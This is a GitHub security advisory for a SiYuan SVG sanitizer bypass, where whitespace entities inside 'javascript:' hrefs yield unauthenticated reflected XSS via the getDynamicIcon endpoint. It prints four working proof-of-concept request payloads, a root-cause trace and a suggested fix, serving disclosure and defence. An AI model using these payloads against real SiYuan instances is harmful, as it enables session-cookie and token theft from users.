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SiYuan has a SVG Sanitizer Bypass via Whitespace in `javascript:` URI — Unauthenticated XSS

Moderate severity GitHub Reviewed Published Mar 9, 2026 in siyuan-note/siyuan • Updated Mar 10, 2026

Package

gomod github.com/siyuan-note/siyuan/kernel (Go)

Affected versions

< 0.0.0-20260310025236-297bd526708f

Patched versions

0.0.0-20260310025236-297bd526708f

Description

SVG Sanitizer Bypass via Whitespace in javascript: URI — Unauthenticated XSS

Summary

SiYuan's SVG sanitizer (SanitizeSVG) checks href attributes for the javascript: prefix using strings.HasPrefix(). However, inserting ASCII tab (&#9;), newline (&#10;), or carriage return (&#13;) characters inside the javascript: string bypasses this prefix check. Browsers strip these characters per the WHATWG URL specification before parsing the URL scheme, so the JavaScript still executes. This allows an attacker to inject executable JavaScript into the unauthenticated /api/icon/getDynamicIcon endpoint, creating a reflected XSS.

This is a second bypass of the fix for CVE-2026-29183 (fixed in v3.5.9), distinct from the <animate> element bypass.

Affected Component

  • File: kernel/util/misc.go
  • Function: SanitizeSVG() (lines 234-319)
  • Specific check: Line 271 — strings.HasPrefix(val, "javascript:")
  • Endpoint: GET /api/icon/getDynamicIcon?type=8&content=... (unauthenticated)
  • Version: SiYuan <= 3.5.9

Root Cause

The sanitizer uses Go's html.Parse which decodes HTML entities in attribute values. When the input contains java&#9;script:alert(1), the parser decodes &#9; to a literal tab character (U+0009). The sanitizer then checks:

val := strings.TrimSpace(strings.ToLower(a.Val))
// val is now "java\tscript:alert(1)"

if strings.HasPrefix(val, "javascript:") {
    continue  // This check FAILS — tab breaks the prefix match
}

strings.TrimSpace only removes leading/trailing whitespace, not internal whitespace. The HasPrefix check fails because "java\tscript:..." does not start with "javascript:".

However, per the WHATWG URL Standard, step 1 of URL parsing removes all ASCII tab and newline characters (U+0009, U+000A, U+000D) from the input. So the browser parses java\tscript:alert(1) as javascript:alert(1).

Proof of Concept

Vector 1: Tab character (&#9;)

GET /api/icon/getDynamicIcon?type=8&content=</text><a href="java&#9;script:alert(document.domain)"><text x="50%25" y="80%25" fill="red" style="font-size:60px">Click me</text></a><text>&color=blue

Vector 2: Newline character (&#10;)

GET /api/icon/getDynamicIcon?type=8&content=</text><a href="java&#10;script:alert(document.domain)"><text x="50%25" y="80%25" fill="red" style="font-size:60px">Click me</text></a><text>&color=blue

Vector 3: Carriage return (&#13;)

GET /api/icon/getDynamicIcon?type=8&content=</text><a href="java&#13;script:alert(document.domain)"><text x="50%25" y="80%25" fill="red" style="font-size:60px">Click me</text></a><text>&color=blue

Vector 4: Multiple whitespace characters

GET /api/icon/getDynamicIcon?type=8&content=</text><a href="j&#9;a&#10;v&#13;a&#9;s&#10;c&#13;r&#9;i&#10;p&#13;t:alert(document.domain)"><text x="50%25" y="80%25" fill="red" style="font-size:60px">Click me</text></a><text>&color=blue

Processing trace

  1. Input: <a href="java&#9;script:alert(document.domain)">
  2. html.Parse: Decodes entity → attribute value = java\tscript:alert(document.domain)
  3. Sanitizer: TrimSpace(ToLower(val)) = java\tscript:alert(document.domain) (tab preserved in middle)
  4. HasPrefix check: "java\tscript:..." does NOT start with "javascript:" → passes through
  5. html.Render: Outputs literal tab character in href (tabs are not HTML-special)
  6. Browser URL parser: Strips tab per WHATWG URL spec → javascript:alert(document.domain)
  7. User clicks link → JavaScript executes

Attack Scenario

Same as CVE-2026-29183 / advisory #01:

  1. Attacker crafts a malicious getDynamicIcon URL
  2. Victim navigates to the URL (or is redirected)
  3. SVG renders with Content-Type: image/svg+xml
  4. Victim clicks the text link in the SVG
  5. JavaScript executes in SiYuan's origin
  6. Attacker steals session cookies, API tokens, or makes authenticated API calls

Impact

  • Severity: CRITICAL (CVSS ~9.1)
  • Type: CWE-79 (Improper Neutralization of Input During Web Page Generation)
  • Unauthenticated reflected XSS via SVG injection
  • Executes in the SiYuan application origin
  • Bypasses the fix for CVE-2026-29183
  • Independent of the <animate> element bypass (advisory #01) — different root cause

Suggested Fix

Replace the simple HasPrefix check with whitespace-stripped comparison:

// Strip ASCII tab, newline, CR before checking for javascript: prefix
cleaned := strings.Map(func(r rune) rune {
    if r == '\t' || r == '\n' || r == '\r' {
        return -1  // Remove character
    }
    return r
}, val)

if key == "href" || key == "xlink:href" || key == "xlinkhref" {
    if strings.HasPrefix(cleaned, "javascript:") {
        continue
    }
    if strings.HasPrefix(cleaned, "data:") {
        if strings.Contains(cleaned, "text/html") || strings.Contains(cleaned, "image/svg+xml") || strings.Contains(cleaned, "application/xhtml+xml") {
            continue
        }
    }
}

This should also be applied to the data: URI check, as the same whitespace bypass could potentially affect it.

References

@88250 88250 published to siyuan-note/siyuan Mar 9, 2026
Published by the National Vulnerability Database Mar 10, 2026
Published to the GitHub Advisory Database Mar 10, 2026
Reviewed Mar 10, 2026
Last updated Mar 10, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction Passive
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality High
Integrity High
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(8th percentile)

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

CVE ID

CVE-2026-31809

GHSA ID

GHSA-pmc9-f5qr-2pcr

Source code

Credits

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